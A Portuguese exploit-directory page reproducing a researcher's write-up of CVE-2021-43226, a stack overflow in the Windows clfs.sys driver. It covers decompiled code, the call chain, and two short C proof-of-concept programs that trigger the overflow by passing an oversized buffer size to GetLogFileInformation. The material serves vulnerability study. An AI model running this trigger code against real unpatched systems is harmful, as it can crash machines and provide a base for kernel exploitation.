Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-43226PoC — uma Prova de Conceito de cve-2021-43226,estouro de pilha no driver Windows clfs.sys | Kitploit
Ferramentas/GitHubGitHub/rosayxy/cve-2021-43226poc
Análise de VulnerabilidadesExploraçãoExploração de Binários
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

uma Prova de Conceito de cve-2021-43226,estouro de pilha no driver Windows clfs.sys

Ver Repositório
219há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodução do CVE-2021-43226

Ambiente

Sistema operacional: Windows 10 20H2 no Hyper-V, versão 19042.508. Encontrei um site https://os.click/en, que possui imagens do Windows bem completas e até agora sem backdoor.
Como o PoC encontrado foi compilado com Visual Studio 2013, também usei o Visual Studio 2013 com ligação estática.

Vulnerabilidade

O ponto da vulnerabilidade está na função CClfsLogFcbVirtual::QueryLogFileInfo em clfs.sys.
A documentação da Microsoft descreve clfs.sys como:

Common Log File System (CLFS) API fornece um subsistema de arquivo de log de alto desempenho e uso geral que aplicações clientes dedicadas podem usar e múltiplos clientes podem compartilhar para otimizar o acesso ao log.

O primeiro ponteiro da função é um CClfsLogFcbVirtual* this. Comparando o código antes e depois do patch, uma diferença visível é em um trecho de código como este:

v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

onde não se definiu Size como 120 antes da chamada.

Entre outros parâmetros passados para esta função, a2 é um FILE_OBJECT, Src é um array na pilha (descompilado pelo IDA como __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), e a descrição da vulnerabilidade indica um estouro de pilha. Supõe-se que quando Size for maior que 120 ocorre o estouro.

Um problema encontrado foi a impossibilidade de ver diretamente a referência cruzada; a função é chamada via __guard_dispatch_icall_fptr, e ainda estou determinando os parâmetros na chamada da função.

(Atualização): Esta função é chamada por ClfsQueryLogFileInformation ou CClfsRequest::LogFileInfo, que usam respectivamente as APIs CreateLogFile e GetLogFileInformation. Como a cadeia de chamadas de GetLogFileInformation é mais curta, escolhi essa API para gerar o crash.

O último passo da chamada de GetLogFileInformation está na função LogFileInfo, como mostrado:

v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

Onde v14 é um FileObject e this é um CClfsRequest passado como parâmetro para LogFileInfo.

Continuando a observar a função que chama LogFileInfo — CClfsRequest::Dispatch (declaração: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)) — esta função usa LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; para decidir qual função chamar a seguir. CurrentStackLocation é um struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx passado como parâmetro. A atribuição de this depende do parâmetro que a função superior passa para este dispatch. Portanto, vamos mais para cima.

Em seguida, a função CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); onde a1 e Irp são parâmetros recebidos. a1 é um DeviceObject, Irp é um ponteiro do tipo PIRP (IRP; veja https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp).
O valor de v4 é atribuído assim:

v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4 é do tipo int64

Continuando a ver os parâmetros, chegamos à função CClfsDriver::LogIoDispatch, que simplesmente passa os parâmetros recebidos para CClfsDispatchIoRequest.

Um passo acima é a função nt!IofCallDriver, cuja declaração é:

NTSTATUS IofCallDriver(
  PDEVICE_OBJECT        DeviceObject,
  __drv_aliasesMem PIRP Irp
);

Reprodução

Primeiro, vamos ver a declaração e a descrição dos parâmetros da API.

GetLogFileInformation:

CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

Onde os parâmetros são definidos como:

  • hLog: Um handle para um log aberto obtido por uma chamada bem-sucedida a CreateLogFile. O handle do log pode referir-se a um log dedicado ou a um log multiplexado.
  • pinfoBuffer: Ponteiro para uma estrutura CLFS_INFORMATION alocada pelo usuário que recebe os metadados do log.
  • cbBuffer: Ponteiro para uma variável; na entrada especifica o tamanho (em bytes) do buffer de metadados apontado por pinfoBuffer.
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//criar arquivo de log
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) é 120 ou seja 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Os parâmetros de CreateLogFile e GetLogFileInformation foram copiados da documentação da Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

No entanto, encontrei um problema com o logname. Inicialmente segui a documentação:

Por exemplo: caminho "LOG:c:\MyDirectory\MyLog" cria o arquivo "c:\MyDirectory\MyLog.blf".

Mas isso resultou na criação de um arquivo de log chamado "c" no diretório atual. Analisei o PoC (de outros) e mudei para o formato comum no Windows: "LOG: C:\\MyLog", mas mesmo assim não funcionou. Ao depurar, vi que ele não chamava CClfsLogFcbVirtual::QueryLogFileInfo, mas sim CClfsLogFcbPhysical::QueryLogFileInfo. Então adicionei um nome de fluxo (LogStreamName) e funcionou.

Outro pequeno problema: ao gerar o código no Visual Studio usando ligação estática, sem a linha #pragma comment(lib,"clfsw32.lib") o linker reclamava repetidamente que não conseguia encontrar CreateLogFile e GetLogFileInformation.

PoC (de outros)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Baixar ferramenta